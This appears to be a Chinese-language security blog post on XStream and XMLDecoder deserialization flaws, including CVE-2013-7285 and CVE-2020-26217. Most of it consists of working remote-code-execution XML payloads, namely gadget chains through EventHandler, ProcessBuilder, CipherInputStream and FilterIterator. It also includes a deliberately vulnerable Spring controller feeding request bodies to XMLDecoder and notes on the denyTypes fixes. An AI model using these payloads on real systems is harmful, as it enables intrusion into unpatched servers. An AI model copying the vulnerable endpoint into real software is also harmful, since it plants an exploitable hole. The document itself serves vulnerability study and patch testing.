各种反序列化（XStream/XMLDecoder）

序列化（XStream/XMLDecoder）"/>

各种反序列化（XStream/XMLDecoder）

XStream反序列化原理

XStream将对象和xml字符串之间进行转换。

Object <=> XML字符串

XStream#toXML(Object o)    // 对象=> xml
XStream#fromXML(FileInputStream xml)    // xml => 对象

[CVE-2013-7285]XStream反序列化漏洞

影响范围

1.4.x<=1.4.6或1.4.10。

漏洞描述

Xstream API versions up to 1.4.6 and version 1.4.10, if the security framework has not been initialized, may allow a remote attacker to run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. e.g. JSON.

原理

XStream是自己实现的一套序列化和反序列化机制，所以跟Java原生的反序列化有所区别。

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器，该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象，而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时，就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法；利用这个机制，攻击者可以构造恶意的XML内容，即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法；最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

PoC

执行多条命令：

<sorted-set><string>foo</string><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>cmd</string><string>/C</string><string>calc</string></command></target><action>start</action></handler></dynamic-proxy>
</sorted-set>

参考

• XStream反序列化漏洞

另外一poc，参考：

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>calc</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry></map>

[CVE-2020-26217]XStream 远程代码执行漏洞

参考：
.html
=65

影响范围：
≤ 1.4.13

官方介绍说是：

reported originally as CVE-2017-9805 for Struts’ XStream Plugin

在pom.xml里加上这个：

        <dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.13</version></dependency>

然后启动项目。

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'><contentType>text/plain</contentType><is class='java.io.SequenceInputStream'><e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'><iterator class='javax.imageio.spi.FilterIterator'><iter class='java.util.ArrayList$Itr'><cursor>0</cursor><lastRet>-1</lastRet><expectedModCount>1</expectedModCount><outer-class><java.lang.ProcessBuilder><command><string>calc</string></command></java.lang.ProcessBuilder></outer-class></iter><filter class='javax.imageio.ImageIO$ContainsFilter'><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>start</name></filter><next/></iterator><type>KEYS</type></e><in class='java.io.ByteArrayInputStream'><buf></buf><pos>0</pos><mark>0</mark><count>0</count></in></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>

在1.4.13版本使用之前的javax.crypto.CipherInputStream：

抛出这个异常：

com.thoughtworks.xstream.security.ForbiddenClassException

之前的java.beans.EventHandler也不行了。
Tips:
为了让报错结果好看一些，可以加上这个Accept：

Accept: text/html,application/xhtml+xml,application/xml

看修复方法，貌似还是继续黑名单：

xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });

pom.xml里更新xstream版本到1.4.14，
发现java.lang.ProcessBuilder也被加到了黑名单里。

XMLDecoder反序列化

参考：

深入分析原理参考：
WebLogic 安全研究报告

PoC

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object>
</java>

实际测试发现不加version和class属性也可以成功。如果要使用多个参数的payload，需要将array标签的length字段设置为具体长度即可。

对应的漏洞代码：

@RestController
public class XmlDecoderRCE {/*** @author shadowsock5 @2020-03-16*/@PostMapping("/XmlDecoder")public String parseXml(HttpServletRequest request) throws Exception{InputStream in = request.getInputStream();XMLDecoder d = new XMLDecoder(in);Object result = d.readObject(); //Deserialization happen herereturn "xstream";}
}